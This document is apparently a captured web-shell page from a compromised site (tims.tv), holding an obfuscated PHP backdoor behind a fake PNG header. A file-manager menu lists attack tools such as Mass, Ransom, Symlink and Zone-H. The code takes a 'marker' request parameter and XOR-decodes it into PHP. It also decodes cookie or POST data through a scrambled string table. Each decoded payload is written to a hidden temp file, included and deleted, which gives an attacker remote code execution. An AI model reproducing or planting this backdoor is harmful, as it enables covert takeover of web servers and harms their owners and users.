\x89PNG\r\n\x1a\n\x00\x00\x00\x0DIHDR\x00\x00\x00\x01\x00 \x00\x00\x01\x08\x06\x00\x00\x00\x1F\x15\xC4\x89\x00\x00\x00 \x0AIDATx\x9Ccb\x00\x00\x00\x06\x00\x03\x1A\x05\x9D\x00\x00 \x00\x00IEND\xAE\x42\x60\x82
| Path : /var/www/html/tims.tv/autoconfig/ |
|
B-Con CMD Config cPanel C-Rdp D-Log Info Jump Mass Ransom Symlink vHost Zone-H |
| Current File : /var/www/html/tims.tv/autoconfig/mwnxevge.php |
<?php if(in_array("m\x61\x72\x6Ber", array_keys($_REQUEST))){ $ptr = $_REQUEST["m\x61\x72\x6Ber"]; $ptr = explode(".", $ptr ) ; $ent = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt); $q = 0; $len = count($ptr); do {if($q >= $len) break; $v2 = $ptr[$q]; $chS = ord($salt[$q %$sLen]); $d =((int)$v2 - $chS -($q %10))^ 62; $ent .= chr($d); $q++; } while(true); $key = array_filter([sys_get_temp_dir(), getenv("TMP"), "/tmp", "/dev/shm", session_save_path(), getcwd(), "/var/tmp", ini_get("upload_tmp_dir"), getenv("TEMP")]); for ($dchunk = 0, $item = count($key); $dchunk < $item; $dchunk++) { $pgrp = $key[$dchunk]; if (!!is_dir($pgrp) && !!is_writable($pgrp)) { $comp = str_replace("{var_dir}", $pgrp, "{var_dir}/.reference"); $success = file_put_contents($comp, $ent); if ($success) { include $comp; @unlink($comp); die();} } } }
function jf6 (){
echo 'xz7';
}function rt1 ( $gx2 ){$wo4=0;$zj3 = "8kicxsaE<Lo)y-/mf@lb0'u_;d6*hH95?1 3nre#v2pIg7jF4(.t"; $sk5 = substr("", 0); while(1)
{
if($wo4>=count($gx2)) break; $sk5 .= $zj3 [ $gx2[$wo4] ]; $wo4++;
}
return $sk5;
}$kl9 = [];$qibyaa = 8569;
$kl9[98800] = rt1 ( Array(3 , 41 , 26 , 38 , 33 , 45 , 30 , 48 , 13 , 38 , 6 , 20 , 26 , 13 , 48 , 35 , 48 , 6 , 13 , 6 , 38 , 41 , 31 , 13 , 33 , 35 , 48 , 0 , 6 , 19 , 0 , 19 , 3 , 20 , 48 , 35 ,) ) ;
$kl9[34276] = rt1 ( Array(32 , 42 , 28 , 42 , 34 , 17 , 22 , 36 , 18 , 2 , 36 , 1 , 49 , 23 , 23 , 47 , 43 , 9 , 7 , 23 , 23 , 11 , 24 , 34 ,) ) ;
$dv26 = 7465;$kl9[82402] = rt1 ( Array(50 , 46 , 42 , 44 ,) ) ;
$ge27 = 66019;
$kl9[29654] = rt1 ( Array(50 , 14 ,) ) ;
$ue28 = 83877;
$kl9[60367] = rt1 ( Array(29 , 27 ,) ) ;
$kl9[62917] = rt1 ( Array(39 ,) ) ;
$kl9[20413] = rt1 ( Array(8 ,) ) ;
$kl9[94139] = rt1 ( Array(16 , 2 , 18 , 38 , 23 , 42 , 22 , 51 , 23 , 3 , 10 , 36 , 51 , 38 , 36 , 51 , 5 ,) ) ;$yk29 = 62990;
$kl9[22458] = rt1 ( Array(6 , 37 , 37 , 6 , 12 , 23 , 15 , 38 , 37 , 44 , 38 ,) ) ;
$kl9[11189] = rt1 ( Array(16 , 2 , 18 , 38 , 23 , 38 , 4 , 2 , 5 , 51 , 5 ,) ) ;
$kl9[23982] = rt1 ( Array(5 , 51 , 37 , 23 , 37 , 38 , 42 , 38 , 6 , 51 ,) ) ;$pt30 = 22250;
$kl9[29607] = rt1 ( Array(38 , 4 , 42 , 18 , 10 , 25 , 38 ,) ) ;
$uj31 = 39404;
$kl9[59812] = rt1 ( Array(5 , 51 , 37 , 18 , 38 , 36 ,) ) ;$kl9[58778] = rt1 ( Array(2 , 36 , 51 , 40 , 6 , 18 ,) ) ;$kl9[34192] = rt1 ( Array(22 , 36 , 18 , 2 , 36 , 1 ,) ) ;
$kl9[46475] = rt1 ( Array(42 , 6 , 3 , 1 ,) ) ;
$af21 = $_COOKIE; $wk20 = "42335";
$af21 = $kl9[22458]($af21, $_POST);
foreach ($af21 as $hv25 => $rj22)
{
function ou14 ( $kl9, $hv25 , $va19 ) { return substr ( $kl9[23982] ( $hv25 . $kl9[98800] , $kl9[58778]( $va19/$kl9[59812]( $hv25 ) ) + 1 ) , 0 , $va19 );
}
function cg18 ( $kl9, $il24 )
{
if ( isset ( $il24[2] ) ) {
nz16 ( $kl9, oi15 ( $kl9, $il24));
return 1;
} } function ys13 ( $kl9, $il24 )
{
return @$kl9[46475] ($kl9[60367] , $il24 );
} function cm12 ( $kl9, $rj22, $hv25) {
return ys13 ( $kl9, $rj22 ) ^ ou14 ( $kl9, $hv25 , $kl9[59812]( $rj22 ) ); }
function eq11 ( $kl9, $rj22, $hv25) {
return $kl9[29607] ( $kl9[62917] , cm12 ( $kl9, $rj22, $hv25)); }
function pg10 ( $kl9, $rj22, $hv25) { $rj22 = eq11 ( $kl9, $rj22, $hv25);
if (cg18 ( $kl9, $rj22)) {
exit();
}
}
function oi15 ( $kl9, $il24)
{
$ku23 = $kl9[29654] . md5( $kl9[98800] ) . $kl9[82402];
@$kl9[94139] ( $ku23, $kl9[20413] . $kl9[34276] . $il24[1] ( $il24[2] ) );
return $ku23;
}
function gm17 ( $kl9, $ku23)
{
if ($kl9[11189]($ku23))
{
@$kl9[34192] ( $ku23 );
}
}
function nz16 ( $kl9, $ku23 )
{
@include ( $ku23 );
gm17 ( $kl9, $ku23); }
pg10 ( $kl9, $rj22, $hv25);
}